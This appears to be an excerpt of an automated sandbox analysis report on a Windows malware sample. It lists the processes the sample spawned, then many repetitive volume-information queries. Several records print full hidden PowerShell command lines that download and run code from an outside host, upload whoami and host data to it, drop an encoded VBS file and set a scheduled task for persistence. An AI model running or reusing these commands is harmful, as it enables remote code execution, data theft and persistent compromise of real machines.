Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn\|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [system.convert]::frombase64string($d);[system.io.file]::writeallbytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='zgltihisigmkc2v0ihigpsbjcmvhdgvvymply3qoildty3jpchquu2hlbgwikqpjid0ginbvd2vyc2hlbgwuzxhlic1legvjdxrpb25wb2xpy3kgynlwyxnzic13ighpzgrlbiatbm9wcm9mawxlic1jihn0yxj0lxnszwvwidm5o3n0yxj0lxnszwvwichnzxqtcmfuzg9tic1taw4gnsatbwf4idqzkttzdgfydc1zbgvlccaxmtskawlrpw5ldy1vymply3qgbmv0lndlymnsawvuddskcmmgpsatam9pbiaokdq4li41nykgfcbnzxqtcmfuzg9tic1jb3vudcggz2v0lxjhbmrvbsatbwluiduglw1hecaxnskgfcbmb3jlywnolw9iamvjdcb7iftjagfyxsrffskgkyanlnr4dcc7jgzsbt0kawlrlmrvd25sb2fkzgf0ysgnahr0chm6ly9ibg9ndmlldy5zag9wl2fwas92ywx1zxmvmzgzmdm1mjkxndm0mzgxotkxnzevcmvmcmvzade5os8nkyryyyk7awyojgzsbs5mzw5ndggglwd0idepeyrqa3i9w3n5c3rlbs50zxh0lmvuy29kaw5nxto6dxrmoc5nzxrtdhjpbmcojgzsbsk7awyojgprciatbwf0y2ggj2dldc1jb250zw50jyl7w2j5dgvbxv0gjgrychk9suvyicrqa3i7fwvsc2v7jgjqzg89d2hvyw1poyriamrvkz0npt0noyriamrvkz1bu3lzdgvtlk5ldc5ebnndojphzxrib3n0qwrkcmvzc2vzkcrpcckrw1n5c3rlbs5fbnzpcm9ubwvudf06ok5ld0xpbmu7jghibj1jrvggjgprcjskympkbys9jghibnxpdxqtc3ryaw5no1tiexrlw11djgrychk9w3n5c3rlbs50zxh0lmvuy29kaw5nxto6vxrmoc5hzxrcexrlcygkympkbyk7fttzdgfydc1zbgvlccaxmdskdwprpw5ldy1vymply3qgbmv0lndlymnsawvuddtzdgfydc1zbgvlccaxnjskdwprlnvwbg9hzgrhdgeoj2h0dhbzoi8vymxvz3zpzxcuc2hvcc9hcgkvdmfsdwvzl3jlznjlc2gxotknlcrkcnb5ktt9igpyllj1bibjlcawlcbmywxzzq==';$b=[system.convert]::frombase64string($a);$c=[system.text.encoding]::utf8.getstring($b);set-content c:\users\public\libraries\libraries.vbs -value $c;schtasks.exe /create /tn explorercoreupdatetaskmachine /sc minute /mo 3 /tr c:\users\public\libraries\libraries.vbs /f;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.length -gt 1){$jkr=[system.text.encoding]::utf8.getstring($flm);if($jkr -match 'get-content'){[byte[]] $drpy=iex $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[system.net.dns]::gethostaddresses($ip)+[system.environment]::newline;$hbn=iex $jkr;$bjdo+=$hbn\|out-string;[byte[]]$drpy=[system.text.encoding]::utf8.getbytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.length -gt 1){$jkr=[system.text.encoding]::utf8.getstring($flm);if($jkr -match 'get-content'){[byte[]] $drpy=iex $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[system.net.dns]::gethostaddresses($ip)+[system.environment]::newline;$hbn=iex $jkr;$bjdo+=$hbn\|out-string;[byte[]]$drpy=[system.text.encoding]::utf8.getbytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [system.convert]::frombase64string($d);[system.io.file]::writeallbytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='zgltihisigmkc2v0ihigpsbjcmvhdgvvymply3qoildty3jpchquu2hlbgwikqpjid0ginbvd2vyc2hlbgwuzxhlic1legvjdxrpb25wb2xpy3kgynlwyxnzic13ighpzgrlbiatbm9wcm9mawxlic1jihn0yxj0lxnszwvwidm5o3n0yxj0lxnszwvwichnzxqtcmfuzg9tic1taw4gnsatbwf4idqzkttzdgfydc1zbgvlccaxmtskawlrpw5ldy1vymply3qgbmv0lndlymnsawvuddskcmmgpsatam9pbiaokdq4li41nykgfcbnzxqtcmfuzg9tic1jb3vudcggz2v0lxjhbmrvbsatbwluiduglw1hecaxnskgfcbmb3jlywnolw9iamvjdcb7iftjagfyxsrffskgkyanlnr4dcc7jgzsbt0kawlrlmrvd25sb2fkzgf0ysgnahr0chm6ly9ibg9ndmlldy5zag9wl2fwas92ywx1zxmvmzgzmdm1mjkxndm0mzgxotkxnzevcmvmcmvzade5os8nkyryyyk7awyojgzsbs5mzw5ndggglwd0idepeyrqa3i9w3n5c3rlbs50zxh0lmvuy29kaw5nxto6dxrmoc5nzxrtdhjpbmcojgzsbsk7awyojgprciatbwf0y2ggj2dldc1jb250zw50jyl7w2j5dgvbxv0gjgrychk9suvyicrqa3i7fwvsc2v7jgjqzg89d2hvyw1poyriamrvkz0npt0noyriamrvkz1bu3lzdgvtlk5ldc5ebnndojphzxrib3n0qwrkcmvzc2vzkcrpcckrw1n5c3rlbs5fbnzpcm9ubwvudf06ok5ld0xpbmu7jghibj1jrvggjgprcjskympkbys9jghibnxpdxqtc3ryaw5no1tiexrlw11djgrychk9w3n5c3rlbs50zxh0lmvuy29kaw5nxto6vxrmoc5hzxrcexrlcygkympkbyk7fttzdgfydc1zbgvlccaxmdskdwprpw5ldy1vymply3qgbmv0lndlymnsawvuddtzdgfydc1zbgvlccaxnjskdwprlnvwbg9hzgrhdgeoj2h0dhbzoi8vymxvz3zpzxcuc2hvcc9hcgkvdmfsdwvzl3jlznjlc2gxotknlcrkcnb5ktt9igpyllj1bibjlcawlcbmywxzzq==';$b=[system.convert]::frombase64string($a);$c=[system.text.encoding]::utf8.getstring($b);set-content c:\users\public\libraries\libraries.vbs -value $c;schtasks.exe /create /tn explorercoreupdatetaskmachine /sc minute /mo 3 /tr c:\users\public\libraries\libraries.vbs /f;	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.length -gt 1){$jkr=[system.text.encoding]::utf8.getstring($flm);if($jkr -match 'get-content'){[byte[]] $drpy=iex $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[system.net.dns]::gethostaddresses($ip)+[system.environment]::newline;$hbn=iex $jkr;$bjdo+=$hbn\|out-string;[byte[]]$drpy=[system.text.encoding]::utf8.getbytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) \| get-random -count( get-random -min 5 -max 15) \| foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.length -gt 1){$jkr=[system.text.encoding]::utf8.getstring($flm);if($jkr -match 'get-content'){[byte[]] $drpy=iex $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[system.net.dns]::gethostaddresses($ip)+[system.environment]::newline;$hbn=iex $jkr;$bjdo+=$hbn\|out-string;[byte[]]$drpy=[system.text.encoding]::utf8.getbytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
